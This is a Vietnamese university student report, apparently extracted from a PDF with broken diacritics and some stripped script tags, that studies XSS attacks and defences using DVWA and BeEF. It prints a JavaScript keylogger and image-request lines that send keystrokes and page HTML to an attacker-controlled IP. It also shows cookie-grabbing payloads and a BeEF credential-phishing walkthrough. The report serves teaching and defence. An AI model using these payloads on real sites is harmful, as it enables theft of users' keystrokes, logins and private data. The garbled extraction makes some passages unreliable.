Tổng quan về cuộc tấn công XSS, bản chất của cuộc tấn công XSS, phân loại các tấn công XSS, Kiểm thử các cuộc tấn công XSS, một số kịch bản tấn công XSS, hậu quả của tấn công XSS, biện pháp phòng chống XSS, thực nghiệm trên DVWA
HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA AN TỒN THƠNG TIN BÁO CÁO CƠ SỞ AN TỒN THƠNG TIN ĐỀ TÀI: NGHIÊN CỨU, TRIỂN KHAI TẤN CÔNG KHAI THÁC LỖ HỔNG XSS TRÊN DVWA VÀ CÁCH PHÒNG CHỐNG Sinh viên thực hiện: Lê Mạnh Thành - AT160444 Bùi Thị Phương Duyên - AT160410 Trình độ, loại hình đào tạo: Chun ngành: Đại học quy An tồn thơng tin Mã lớp: A1604 Khóa học: 2019 – 2023 Giảng viên hướng dẫn: Ts PHẠM DUY TRUNG Hà Nội - 2022 LỜI CAM ĐOAN Nhóm xin cam đoan kết quả đạt báo cáo thành viên tìm hiểu nghiên cứu, tổng hợp từ nhiều nguồn tài liệu thực Tất cả các tài liệu tham khảo, tổng hợp trích dẫn với nguồn gốc rõ ràng Thay mặt nhóm, em xin chịu hồn tồn trách nhiệm lời cam đoan Nếu có sai trái, thành viên nhóm xin chịu hình thức kỷ luật theo qui định Hà Nội, ngày 12 tháng 08 năm 2022 Người cam đoan Lê Mạnh Thành Bùi Thị Phương Duyên i LỜI CẢM ƠN Nhóm mong muốn bày tỏ lòng biết ơn sâu sắc tới giảng viên Phạm Duy Trung giúp đỡ quá trình làm luận văn, cảm ơn thầy tận tình bảo chi tiết cung cấp tài liệu đóng góp lời nhận xét q báu bước thực Đồng thời nhóm em xin gửi lời cảm ơn tới các thầy giáo khoa An tồn thông tin – Học Viện Kỹ Thuật Mật Mã truyền đạt các kiến thức tảng giúp tạo nguồn động lực to lớn suốt thời gian học tập nghiên cứu vừa qua Thay mặt nhóm xin gửi lời cảm ơn tới toàn thể bạn bè người thân chia sẻ, giúp đỡ, động viên tạo điều kiện thuận lợi để nhóm hồn thành tốt nhiệm vụ học tập thực báo cáo ii LỜI NÓI ĐẦU Trong năm gần cùng với bùng nổ internet kèm theo là phát triển World Wide Web Các doanh nghiệp, cá nhân, và phủ đưa kết luận trang web hay ứng dụng web có khả cung cấp đầy đủ giải pháp hiệu quả, đáng tin cậy và giải quyết thách thức giao tiếp và tiến hành thương mại hóa thê kỷ XX Nhất là thời gian dịch bệnh vừa rồi thì việc chuyển đổi công việc từ trực tiếp qua hình thức online trang web lại càng trở nên mạnh mẽ bởi tiện dụng và ích lợi to lớn mà mang lại Tuy nhiên, kèm với tiện dụng thì vấn đề an toàn trang web hay ứng dụng web trở nên ngày càng quan trọng và đáng để lưu tâm Các trang web giáo dục, y tế, tài hay liệu nhạy cảm bao giờ hết phải đối mặt với nhiều nguy bị công từ hacker Tại Việt Nam năm vừa qua cũng có nhiều công với quy mô lớn bé khác nhắm vào tổ chức doanh nghiệp làm ảnh hưởng khơng nhỏ đến tài sản và uy tín doanh nghiệp thị trường Nhiễu lỗ hổng trang web không được kiểm tra kỹ để điều khiển ứng dụng trang web là nguyên nhân để hacker dựa vào cơng Trong số có loại cơng cực kì nguy hiểm mà nhà bảo mật cảnh báo người dùng là cơng Cross-Site Scripting (hay còn gọi là XSS) Ngồi còn có số dạng cơng khác như: SQL Injection, Shell Injection, Script language injection, File inclusion, XML injection, XPATH injection.v.v Trong báo cáo này nhóm xin phép tập trung trình bày lỗ hổng bảo mật liên quan đến công Cross-Site Scripting, tương quan khái niệm, cách thức kẻ công hoạt động, hậu quả nặng nề mà đem đến cũng cách để phòng chống công hiệu quả iii DANH MỤC CÁC TỪ NGỮ VIẾT TẮT Từ viết tắt Tiếng anh Nghĩa tiếng Việt XSS Cross-site scripting Tấn công gửi và chèn lệnh, script độc hại VBScript Ngôn ngữ lập trình Visual Basic Script Thư viện dùng cho việc định nghĩa ActiveX thành phần phần mềm HTML Hypertext Markup Ngôn ngữ lập trình dùng để xây dựng Language và cấu trúc lại thành phần có Website URL Uniform Resource Địa tài nguyên Locator Web Cơ sở liệu CSDL DOM Document Object dạng chuẩn W3C đưa nhằm để Model truy xuất thao tác liệu tài liệu có cấu trúc HTML CSP Chính sách bảo mật nội dung Content Security Policy HTTP Giao thức truyền tải siêu văn bản HyperText Transfer Protocol PHP Personal Home Page ngơn ngữ lập trình kịch bản đa mục đích iv DANH MỤC HÌNH VẼ Hình 1.1 Người dùng tiến hành nhập đoạn script Hình 1.2 Đoạn script được thực thi cho kết quả trả Hình 2.1 Mô hình công reflected XSS Hình 2.2 Kịch bản công Reflected XSS Hình 2.3 Mô hình công Stored XSS Hình 2.4 Mô phỏng Hacker chèn mã độc nguy hiểm Hình 2.5 Kết quả trả thực thi đoạn mã độc Hình 2.6 Form đăng ký người dùng truy cập Hình 2.7 Form đăng ký được chèn mã script Hình 2.8 Kết quả trả đoạn script được thực thi Hình 2.9 Mô hình công XSS đơn giản Hình 2.10 Mô phỏng trình ngăn chặn công Hình 2.11 Session cookie bị lộ thực thi mã script Hình 2.12 Chiếm được cookie nạn nhân Hình 2.13 Thực hành động trái phép cookie nạn nhân Hình 2.14 Đánh cắp thông tin đăng nhập người dùng Hình 2.15 Nắm bắt phím máy nạn nhân v MỤC LỤC LỜI CAM ĐOAN i LỜI CẢM ƠN ii LỜI NÓI ĐẦU iii DANH MỤC CÁC TỪ NGỮ VIẾT TẮT iv DANH MỤC HÌNH VẼ v CHƯƠNG 1: TỔNG QUAN VỀ CUỘC TẤN CÔNG XSS 1.1 Khái niệm phương pháp tấn công XSS 1.2 Cơ chế hoạt động của tấn công XSS 1.2.1 Bản chất của cuộc tấn công 1.2.2 Quá trình thực hiện tấn công 1.3 Hình thức, hậu quả của các tấn công XSS 1.3.1 Hình thức 1.3.2 Hậu quả CHƯƠNG 2: PHÂN TÍCH TẤN CƠNG XSS 2.1 Phân loại các tấn công XSS 2.1.1 Reflected XSS 2.1.2 Stored XSS 2.1.3 DOM-based XSS 13 2.1.4 Phân tích chi tiết một cuộc tấn công XSS 15 2.1.5 Ví dụ về Vector tấn công Cross-site Scripting 16 2.2 Kiểm thử tấn công XSS 19 2.3 Ngăn chặn tấn công XSS 21 2.3.1 Data validation 21 2.3.2 Filtering 22 2.3.3 Escaping 22 2.4 Một số kịch bản thực tế cho các tấn công XSS 22 2.4.1 Cướp session của người dùng 23 2.4.2 Thực hiện hoạt động trái phép 26 2.4.3 Đánh cắp thông tin đăng nhập của người dùng 28 2.4.4 Nắm bắt phím bằng cách tiêm Keylogger 30 2.4.5 Đánh cắp thông tin nhạy cảm 32 vi CHƯƠNG 3: THỰC NGHIỆM TRÊN DVWA 36 3.1 Tấn công chèn mã script trang DVWA 36 3.1.1 Tấn công XSS Reflected 36 3.1.2 Tấn công XSS Stored 39 3.2 Thực hiện hành vi lừa đảo người dùng bằng công cụ Beef 40 KẾT LUẬN 43 TÀI LIỆU THAM KHẢO 44 vii CHƯƠNG 1: TỔNG QUAN VỀ CUỘC TẤN CƠNG XSS 1.1 Khái niệm phương pháp tấn cơng XSS XSS là tên viết tắt Cross-site scripting Đây là kiểu công bảo mật mã độc phổ biến thời gian gần đây, kẻ công sẽ lợi dụng lỗ hổng bảo mật để đưa tập lệnh độc hại vào phần nội dung trang web đáng tin cậy khác Tấn công Cross-site scripting xảy nguồn không đáng tin cậy được phép đưa code vào ứng dụng web và mã độc được bao gờm nội dung gửi đến trình duyệt nạn nhân Bằng cách khai thác lỗ hổng XSS, kẻ công không nhắm trực tiếp vào nạn nhân Thay vào đó, hacker sẽ tiến hành khai thác lỗ hổng trang web ứng dụng web mà nạn nhân truy cập Mục đích hacker thực cơng là ăn cắp liệu nhận dạng người dùng session tokens, cookies và thông tin khác Khi đăng nhập vào được tài khoản website, hacker truy cập vào liệu tồn quyền kiểm sốt tất cả chức và liệu ứng dụng Tấn công XSS là hình thức công đơn giản đặc biệt nguy hiểm Đây cũng là kỹ thuật được hacker sử dụng phổ biến thời điểm 1.2 Cơ chế hoạt động của tấn công XSS 1.2.1 Bản chất của cuộc tấn công Về bản thực công Cross-site scripting thì hacker sẽ thực gửi chèn lệnh và script độc hại, thường thì mã script này được viết ngơn ngữ lập trình phía client VBScript, ActiveX và Flash (hiện được coi là cũ thậm chí lỗi thời), phổ biến vẫn là JavaScript chủ yếu JavaScript là tảng cho hầu hết trải nghiệm duyệt web XSS hoạt động cách điều khiển trang web dễ bị công để trả JavaScript độc hại cho người dùng Khi mã độc được thực thi bên trình duyệt, hacker hoàn toàn xâm nhập vào tài khoản và sử dụng liệu người dùng vào mục đích cá nhân 1.2.2 Quá trình thực hiện tấn công Để chạy được code JavaScript độc hại trình duyệt nạn nhân, trước tiên, kẻ công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập Tất nhiên, kẻ cơng sử dụng kỹ tḥt social engineering để thuyết phục người dùng truy cập trang bị cơng Để cơng XSS diễn ra, trang web bị công cần trực tiếp bao gồm đầu vào người dùng trang Kẻ cơng sau chèn chuỗi sẽ được sử dụng trang web và được xử lý dạng code bởi trình duyệt nạn nhân Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần trang web: print print print print "" "Most recent comment" database.latestComment "" Tập lệnh sẽ in bình luận từ sở liệu in nội dung trang HTML, giả sử bình luận được in bao gồm phần văn bản Trang dễ bị cơng bởi XSS kẻ cơng gửi nhận xét có chứa payload độc hại, chẳng hạn như: doSomethingEvil(); Người dùng truy cập trang web sẽ được hiển thị trang HTML sau: Most recent comment doSomethingEvil(); 2.4.4 Nắm bắt phím bằng cách tiêm Keylogger Trong kịch bản cơng này, sẽ đưa keylogger JavaScript vào trang web dễ bị cơng và nắm bắt tất cả phím người dùng trang tại Trước hết, sẽ tạo tệp JavaScript riêng và lưu trữ máy chủ kẻ cơng kiểm sốt Hacker cần tệp này vì code lớn để được chèn vào URL và để tránh mã hóa cùng với lỗi Tệp JavaScript (xss.js /var/www/html) chứa mã sau đây: document.onkeypress = function(evt) { evt = evt || window.event key = String.fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key); http.open("POST", "http://192.168.149.128/keylog.php", true); http.setRequestHeader("Content-type", urlencoded"); http.send("key=" + param); } } 30 "application/x-www-form- Mỗi lần nhấn phím, yêu cầu XMLHttp được tạo và gửi tới trang keylog.php được lưu trữ tại máy chủ kẻ cơng kiểm sốt Mã keylog.php (trong /var/www/html) ghi giá trị phím được nhấn vào tệp có tên data.txt Bây giờ việc cần làm là gọi trang dễ bị công với code từ máy chủ: http://localhost:81/DVWA/vulnerabilities/xss_r/?name= Khi tập lệnh được tải, yêu cầu sẽ được đưa với charCode phím Hình 2.15: Nắm bắt phím máy nạn nhân 31 Giá trị tham số key được ghi vào tệp data.txt, được hiển thị ảnh chụp màn hình bên 2.4.5 Đánh cắp thông tin nhạy cảm Một hành động độc hại khác được thực với cơng XSS là đánh cắp thơng tin nhạy cảm từ phiên tại người dùng Hãy tưởng tượng ứng dụng ngân hàng internet dễ bị cơng bởi XSS, kẻ cơng đọc số dư tại, thông tin giao dịch, liệu cá nhân, v.v Đối với kịch bản này, cần phải tạo tệp JavaScript máy chủ kẻ cơng kiểm sốt Tệp chứa logic chụp ảnh hình trang nơi tập lệnh chạy: Sau đó, cần tạo tệp PHP máy chủ kẻ công, để lưu nội dung tham số png vào tệp test.png Bây giờ tiêm mã JavaScript vào trang dễ bị công cách lừa người dùng truy cập URL sau: http://localhost:81/DVWA/vulnerabilities/xss_r/?name= Khi tệp JavaScript được tải, tập lệnh sẽ gửi liệu ở định dạng base64 đến tệp saveshot.php để ghi liệu vào tệp test.png Khi mở tệp test.png, thấy ảnh chụp hình trang dễ bị cơng Cách khác: Một cách khác để đánh cắp nội dung trang sẽ lấy mã nguồn HTML cách sử dụng getElementById Đây là khối mã lấy innerHTML phần tử guestbookcomments và gửi đến kẻ cơng new Image().src="http://192.168.149.128/bogus.php?output="+document.getElem entById('guestbook_comments').innerHTML; 33 Cũng tìm nạp tồn nguồn trang trang cách sử dụng đoạn code sau: new Image().src="http://192.168.149.128/bogus.php?output="+document.body.inn erHTML 34 Giải mã liệu nhận được Burp Debugger cung cấp thấy được nguồn trang rõ ràng trang dễ bị công Ở đây, xem bình ḷn Guestbook Kết Luận: Tùy thuộc vào chức và liệu được xử lý bởi ứng dụng dễ bị cơng, lỗ hổng XSS gây rủi ro đáng kể cho doanh nghiệp Kẻ cơng đánh cắp thơng tin bí mật, thực hoạt động trái phép chiếm đoạt toàn phiên web người dùng Cách bảo vệ tốt chống lại kiểu cơng này là xử lí đầu ra, nghĩa là liệu nhận được từ phía khách hàng phải được xử lí trước được trả lại trang phản hời Việc xử lí được thực cách chuyển đổi ký tự HTML đặc biệt thành thực thể HTML tương đương chúng, chẳng hạn như: < -> > -> ‘’ -> ‘ > < > " ' Nên sử dụng hàm có sẵn ngơn ngữ lập trình được thiết kế để thực xử lí Ví dụ, PHP nên sử dụng htmlentity, javascript encodeURI, ruby escapeHTML 35 CHƯƠNG 3: THỰC NGHIỆM TRÊN DVWA Kịch bản tiến hành: - Tấn công chèn mã script trang DVWA - Thực hành vi lừa đảo người dùng công cụ Beef 3.1 Tấn công chèn mã script trang DVWA 3.1.1 Tấn cơng XSS Reflected Giao diện DVWA 36 Ở mức Low, tiến hành chèn mã script tương đối dễ dàng với câu lệnh: alert("You have been Hacker") Kết quả trả chèn mã Script độc hại Làm tương tự tiến hành chèn mã script để chiếm cookie người dùng với câu lệnh: alert(document.cookie) 37 Kết quả trả cookie người dùng Thực tương tự với mức medium có chỉnh sửa câu lệnh thực hiện: alert("You have been Hacker") Thực bắt cookie với câu lệnh: alert(document.cookie) alert(document.cookie) 38 Kết quả trả thực các câu lệnh thấy hồn tồn giống 3.1.2 Tấn công XSS Stored Khác với kiểu công XSS Relfected ở thì kiểu công XSS Stored nhắm đến nhiều mục tiêu truy cập trang web Câu lệnh thực hiện: Name HiKMA Message alert (XSS) 39 Kết quả trả đoạn mã thực thi 3.2 Thực hiện hành vi lừa đảo người dùng bằng công cụ Beef BeEF viết tắt Browser Exploitation Framework Nó là cơng cụ kiểm tra thâm nhập tập trung vào trình duyệt web Người dùng xây dựng kịch bản cơng và qua đánh giá mức độ bảo mật trang web Đây là cơng cụ được tích hợp sẵn phiên bản kali cũ từ 2019 trở xuống Đối với phiên bản hơn, trước sử dụng thì cần phải tiến hành cài đặt cà tải tài ngun rời đưa vào sử dụng (nhóm sử dụng phiên bản kali 2019) Quy trình tiến hành công lừa đảo người dùng Beef: B1: Đầu tiên cần khởi động Beef máy kali 2019 và tiến hành cài đặt trang web giả mạo B2: Sau chuẩn bị web lừa đảo, tiến hành fake link và lừa cho người dùng click vào link lạ và tiến hành đăng nhập mật B3: Kẻ công đứng ở Beef thu thập và đánh cắp tài khoản người dùng 40 Giao diện cơng cụ BeEF Người dùng đăng nhập vào trang Web giả mạo 41 Kẻ công bắt thông tin đăng nhập người dùng 42 KẾT LUẬN Qua tìm hiểu nghiên cứu lỗ hổng bảo mật Cross-Site-Scripting đưa kết luận chung Đây là lỗ hổng bảo mật nguy hiểm và có mức độ phổ biến thuộc hàng top Khác với lỗi hổng SQL injection thì lỗ hổng XSS công chủ yếu dựa vào thiếu nhận biết người dùng hệ thống ứng dụng Web Qua tiến hành khai thác thông tin người dùng, mạo danh họ để tiến hành lừa đảo tài sản phục vụ cho mục đích cao Dựa gì được tìm hiểu thì thành viên nhóm cũng đúc rút số ý Về mặt ưu điểm: tiến hành nắm bắt được quy trình cơng XSS hình thức lí thút, nắm được biến thể công, mục tiêu kẻ công cũng thiệt hại to lớn mà công để lại Tuy nhiên trình tìm hiểu thời gian cũng còn giới hạn nên nhóm cũng chưa tìm hiểu sâu cách thức vận hành công thực nghiệm và cách thức để phòng chống XSS hiệu quả Định hướng cho trình phát triển sau này, nhóm mong muốn được tìm hiểu sâu và kĩ cơng để đưa phương án phòng chống công hiệu quả 43 TÀI LIỆU THAM KHẢO [1] Các kiểu khai thác XSS – Phần 1: Reflected XSS http://securitydaily.net/ky-thuat-khai-thac-xss-phan-1-reflected-xss/ [2] Cross Site Scripting - XSS gì? http://passionery.blogspot.com/2014/05/cross-site-scripting-xss-lagi.html#.VJJ8OyusVly [3] Tìm hiểu lỗ hổng Cross-Site Scripting (XSS) http://tek.eten.vn/tim-hieu-cross-site-scriptingxss [4] Kĩ thuật công và cách phòng chống lỗi XSS website http://me.zing.vn/zb/dt/love_cute61/17414418?from=sortfull [5] Cross-Site Scripting https://owasp.org/www-community/attacks/xss/ 44